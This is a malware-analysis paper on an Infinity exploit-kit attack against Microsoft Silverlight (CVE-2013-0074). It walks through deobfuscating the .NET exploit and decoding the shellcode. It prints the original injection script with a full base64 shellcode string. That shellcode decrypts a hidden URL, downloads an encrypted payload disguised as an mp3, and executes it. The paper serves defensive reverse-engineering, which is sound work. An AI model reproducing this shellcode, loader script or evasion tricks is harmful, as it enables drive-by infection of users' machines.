Diving into a Silverlight Exploit and Shellcode

Diving into a Silverlight Exploit and
Shellcode - Analysis and Techniques
By Omri Herscovici & Liran Englender
January 04, 2015
Preface
In recent years, exploit-kits are one of the most common platforms for malware distribution.
One of the exploits coming from Infinity exploit-kit exploits a security vulnerability in Microsoft
Silverlight.
Compared to other technologies like Java, PDF, Flash, etc. – Silverlight exploits are less
common.
Just to get a rough feeling, according to cvedetails.com, from 2010 to 2014, 15 Vulnerabilities
were reported for Microsoft Silverlight, while Adobe Acrobat Reader had 268 vulnerabilities,
Adobe Flash Player had 321 vulnerabilities; Microsoft Internet Explorer had 392 vulnerabilities
and Java with at least 358 vulnerabilities.
In many cases, an exploit analysis is bounded to some limitations and conditions dictated by the
exploit’s context. Thus, various relevant techniques have to be used in order to successfully
analyze the exploit: .NET DLL decompiling & patching, memory analysis and of course dynamic
execution debugging.
We will observe how the exploit is obfuscated; how it loads parts of the code dynamically into
the memory in order to reduce the chances of being detected by signature based protections
and how to extract these components from the exploit. In addition we will look at the shellcode supplied by the exploit-kit and how it uses encryption to hide the payload’s URL and
contents.
Technical
The Silverlight framework enables the development of web applications with features similar to
those of Adobe flash and Java Applets.
The Silverlight runtime environment is available for Windows and Mac OS x as a browser plugin.
Microsoft Silverlight applications can be written in any .NET programming language, compiled
to Microsoft Intermediate Language (MSIL) and then hosted by the Silverlight CoreCLR (instead
of the .NET framework CLR).
A Silverlight control is a zip format file with extension .XAP containing a list of one or more .NET
managed assemblies (.DLL files) along with the AppManifest.XAML file.
In order to load a Silverlight control one has to use the <object> tag targeting the Silverlight
plugin within an HTML document.
The Exploit
This is how the exploit is loaded in our sample:
<script>
function div_mahhhhker45(payload_codersdfg) {
var payload_div = window.document.createElement("div");
window.document.body.appendChild(payload_div);
payload_div["innerHTML"] = payload_codersdfg;
};
payload2 = '<object data="data:application/x-silverlight-2," type="application/x-silverlight-2" width="10" height="10">
<param name="source" value="http://XXXXXXXXXX/4220.xap"/><param name="initParams"
value="pion7=kJCQkOtjYDHAZItQMItSDItSFItyKDH/jU8YMcCsPGF8Aiwgwc8NAcfi8IH/W7xKaotCEIsSdduJRCQcYcNgidesqgjAdfpPuD9ybmSrsD2qMc
mNSQUPMTwwfPo8OX/2qkl18jDAqmHD61Zgi2wkJItFPItUBXgB6otKGItaIAHr4zRJizSLAe4x/zHA/KyEwHQHwc8NAcfr9Dt8JCh14YtaJAHrZosMS4taHA
HriwSLAeiJRCQcYYsMJI1kJAz/4etsX1pXidYxyY1ZBaxLePUyBzx8D0TBqjwhdfBeieUxwI1ITMHhAynMieeNTxCNX1SNUFeNFJdXUVBQUFBQUFBT6Df///9
QUDHJjUlBweECUVNSUDHJZrlvblFodXJsbVRojk4O7Oja/v//UOsC60ToNf/////Qg8QIaE/vTwVQ6CX/////0IXAdSZqVFnzqmhy/rMW6Kv+//9Q6Ar////rFP
/QhcB0CYnsiAPpbv///4nsw+tyYDHAUFBqA1BqB41ADMHIBFD/dCQ4uFro/4OD8P9Q6Gz+//9Q6Mv+////0InDUDHJUVFRUGoCUVFQaKwI2nboTP7//1
Doq/7//4nF/9CJx//VaFTKr5HoNP7//1Dok/7//zHJtRBqBFFXMclR/9CJxusC6x5QieAxyVFQV1ZTaBZl+hDoB/7//1DoZv7////Q63PrbTHJUVFRU//VieAxyV
FQV1ZTaB95Cujo4P3//1DoP/7////QaNmF8zfozv3//1DoLf7//1P/0FgxybWAUTHJUVZorDMGA+ix/f//UOgQ/v///9Bo+5f9D+if/f//UOj+/f///9BhkJCQ6ev
+///rUOsLYOj4////bTNTNFZbieUxwI1AQMHgAinEieBVVleJx4nGMcCq/sB1+4nfMcmNaQUx24nIMdL39QIcF4okDgLcigQeiAQOiCQe/sF15esC6z4xwDH
JMdJdOel9J4nPR4PL/w+22yHfigQ+AtCKHBaIHD6IBBYCw4oEBos8JDAED0Hr1Vtdiexh6QP////rCuj5////DN467SLoqv3//2SqTp0YI/FOhUdtvV+eQWCr
WMNBY7MV1BQ46QrVFDXqC8NPfO1GzA==" /></object>';
The given script creates a ‘div’ element and writes the value of payload2 into its ‘innerHTML’
div_mahhhhker45(payload2);
field. Later it adds this element into the body of the HTML document.
</script>
Once added, it targets the Microsoft Silverlight plugin. We can see that the file name is
4220.xap and that there is an initialization parameter that is to be given to the application upon
startup named ‘pion7’, and its value looks like a base 64 encoded string.
Usually, when an exploit comes from an exploit-kit, this value is the actual shell-code;
An analysis of the shell-code will be covered later in this paper. For now, we’ll focus on the
exploit.
As we said before, not too many Silverlight vulnerabilities were found over the last few years so
it’s easy to set our minds on a few candidates. The most common ones among exploit-kits are
CVE-2013-0074 and CVE-2013-3896.
A file named 4220.xap is downloaded to our machine. As mentioned above, XAP file is a zip file.
There are 2 files in the archive.
AppManifest.xaml contains the following text:
From the attributes we can see the targeted Silverlight runtime version, the entry point type
and targeted assembly which is supplied as part of the XAP file.
“tics.dll” is an MSIL compiled DLL, which means that we can try to decompile it. There are
various tools to do it, such as: .NET reflector, ILSpy and Telerik JustDecompile.
Telerik JustDecompile shows the de-compilation product as follows:
A quick look into the code reveals that the application is obfuscated.
The AppManifest.xaml declares “tics.App” class as the entry point type.
The constructor for “tics.App” shows a flow that eventually loads the MainPage class
constructor while supplying the initialization parameters.
Let’s look at the “MainPage” class constructor:
The constructor above does the following:
1. Converts a base64 string returned from a function and assigns the value to a byte array.
2. Runs a XOR 253 (0xFD) loop on the byte array.
3. Loads a .NET DLL to the memory using AssemblyPart.Load().
4. Invokes a certain class constructor from the loaded assembly mentioned above, while
supplying the initialization parameters.
This is interesting!
Let’s find out what the loaded assembly is.
Telerik JustDecompile has a plugin that identifies known obfuscators and tries to de-obfuscate a
given code.
The output from the de-obfuscation plugin gives us the following code:
All we have to do now is get this code out to Visual Studio, insert some minor changes and
make it write the assembly into a file.
The above results in a new .NET DLL that exploits a Silverlight vulnerability - we will get to it
later.
A few other techniques are possible to de-obfuscate the DLL:
1. Re-compiling
What if we knew the string which is given to the “FromBase64String” method?
We would be able to do what we did earlier and write the data into a dll file.
Unfortunately, de-compilers are not perfect, when we took the code for the function
“NYNLWC3ThxSrvrH0Fn.Cd0dbmEq1()” and pasted it into Visual Studio it didn’t compile at
first. We had to go and fix the code manually - this takes a few hours and it isn’t reliable,
because some things get messy in the de-compilation process and you have to understand
where exactly things went wrong.
2. Memory Analysis
If we can’t change the code let’s try to observe the memory and find the loaded DLLs.
First we need to take a memory dump.
We tried to use “DumpIt” by MoonSols, but unfortunately it became unresponsive when
the exploit starts, and when it finishes there are no longer any memory artifacts.
Hitting the pause button on the virtual machine saves the memory into a VMSS file which is
readable by “Volatility” framework.
Using Volatility, we try to identify the DLLs as part of the modules that are linked to the
Silverlight hosted process, which in this case, is Internet Explorer. We use the “ldrmodules”
plugin in case the module was unlinked from the PEB and dump the result into a file.
Looking at the output we try to identify the relevant DLLs by looking for one without a
mapped path (since we know that they aren’t loaded from the disk). Also, note that both of
them don’t appear in any of the doubly-linked lists (InMemOrder, InInitOrder and
InLoadOrder) of the PEB, indicating the DLLs loaded into the process address space.
Two modules match this description; one is loaded into 0x061f0000 and the other into
0x061c0000.
One of the files is 58.5KB while the other is 13KB.
Recall that at the beginning we had two files inside the XAP file: tics.dll and
AppManifest.XAML.
When we sum tics.dll and AppManifest.XAML sizes together we get 58.5 KB, and when
looking inside the dumped DLL with size 58.5K, you can recognize the AppManifest content.
So the first dumped DLL is the decompressed XAP file.
Let’s check the second file. Opening it with Telerik Decompile shows what we were looking
for!
This code contains a class inheriting from HtmlObject and exploiting the Initialize method,
hence CVE-2013-0074.
3. Patching
Another technique is patching the exploit in order to write the DLL into a file instead of
loading it into the memory.
Since Silverlight DLL’s compiled to MSIL (IL) we need to patch the constructor method using
IL opcodes. In addition, we’re bounded by our exploit’s limitations.
We could use OpenFileDialog() or any other API that gives us the ability to save the data.
But MessageBox.Show(string) is an API that usually works on all versions and doesn’t
require a lot of special preparations.
We manually added the IL code to produce the MessageBox; this is what it looks like after
patching:
And this is the result of the patched exploit:
Converting these decimal values to a binary file will result in a new obfuscated DLL file –
which is, predictably, exactly the same as the one we extracted previously.
The Shellcode
We see that a big chunk of base64 parameter is being passed to the Silverlight exploit definitely a good shellcode candidate.
Let’s have a closer look.
Converting this base64 into hex will result in:
The NOP sled at the beginning suggests that we were probably not wrong.
Trying to emulate the shellcode encounters some difficulties, e.g. opcodes unsupported by the
libemu engine.
Let’s try to debug this shellcode manually.
The shellcode starts with a few long jumps, and then we get to the following loop:
We’ll analyze this code in just a second, but before that, let’s take a look at ESI and EDI:
What we are about to find out by looking at the code is that the first 5 bytes starting from ESI
(0c de 3a ed 22), are actually a rotating XOR key for decrypting the data starting from EDI.
Let’s take a look at the Loop:
(Added note next to each line)
MOV ESI, EDX
XOR ECX, ECX
LEA EBX, DWORD PTR DS:[ECX+5]
LODS BYTE PTR DS:[ESI]
DEC EBX
JS SHORT 004030DE
XOR AL, BYTE PTR DS:[EDI]
CMP AL, 7Ch
CMOVE EAX, ECX
STOS BYTE PTS ES:[EDI]
CMP AL, 21h
JNZ SHORT 004030E5
; ESI = 00417311
; ECX = 0
; EBX = 5
; Loads a byte from [ESI] to AL and Increases ESI
; EBX-; IF EBX < 0: Jumps to Reload EBX & Reset ESI
; XOR’s AL with the current byte in [EDI]
; Checks if AL is “|”
; If TRUE: Moves ECX (0/NULL Termination) to EAX
; Stores AL to [EDI] and INC EDI
; Checks if AL is “!”
; If FALSE: Loop again
Inside the loop there are 2 conditions.
1) The first condition checks if the char was “I”, in this case, it sets AL to be 0 and stores it
at the end of the string as a null terminator.
2) The second condition checks if the char was “!”, this means we got to the end of the URL
so we can exit the loop and move on with the shellcode.
Eventually, this is how the loop decodes the URL:
KEY: 0c de 3a ed 22 0c de 3a ed 22 0c de 3a ed 22 ........ 0c de 3a ed 22 0c de 3a ed 22 0c de 3a ed 22
XOR
EDI: 64 aa 4e 9d 18 23 f1 4e 85 47 6d bd 5f 9e 41 ........ 38 e9 0a d5 14 35 ea 0b c3 4f 7c ed 46 cc
h t t p : / / t h e a c e s c ........ 4 7 0 8 6 9 4 1 . m p 3 | !
After this part, the shellcode adds a parameter with a random value to the URI.
The shellcode then downloads the payload into Internet Explorer temp folder.
The payload comes with an “mp3” extension, which is used to evade IPS, IDS and traffic policy.
Executing the file using CreateProcessA() would be naturally its next command, but the payload
still can’t run since it is encrypted.
Let’s keep looking at the shellcode.
We can see that the first line is a CALL operation that jumps up (and also pushes EIP), then POPs
the return address from the stack, which points to “FFFF”.
But the shellcode is interested in the next few bytes, which are, as you can see: 6D, 33, 53, 34,
56.
These bytes represent the ASCII letters “m3S4V”.
This is actually the key for decrypting the payload, but this one isn’t as simple as the XOR loop
we saw above.
As you can see, it is quite a big chunk of assembly code to be explained line by line in this post.
But what this code does is a few things:
1) Creates a byte array with all values from 00 to FF.
2) Each byte is being replaced with another byte from the array. The replacement is
calculated using the current char from the key and the value of the current replaced
byte – which creates sort of an 8-bit s-box.
3) Next we have another loop that is pretty much similar to the one before, except now it
generates the final XOR key based on the s-box created in the first loop. This loop goes
over the s-box periodically until all the bytes from the file are decrypted, holding an
accumulator of the s-box values (modulus 256). In each iteration, the current byte in the
s-box is replaced with the byte pointed by the accumulator, and the sum of these 2
bytes (modulus 256) is the next byte of the XOR key.
Once decoding is done, the file is saved and a call to CreateProcessA() is done. Then the fun
begins.
We decided to translate this Assembly code into a Python script and write a generic tool
decrypting payloads from Infinity (using the encrypted payload and the key as parameters).
Conclusion
In this paper we examined the Microsoft Silverlight exploit and Shellcode served by Infinity
Exploit-kit.
We showed a few techniques dealing with obfuscated and dynamically loaded code, and
identified the vulnerability using various approaches.
Although Infinity Exploit-kit was very prevalent, its current status is unknown.
However, Microsoft Silverlight exploits, specifically CVE-2013-0074, are still common among
exploit kits.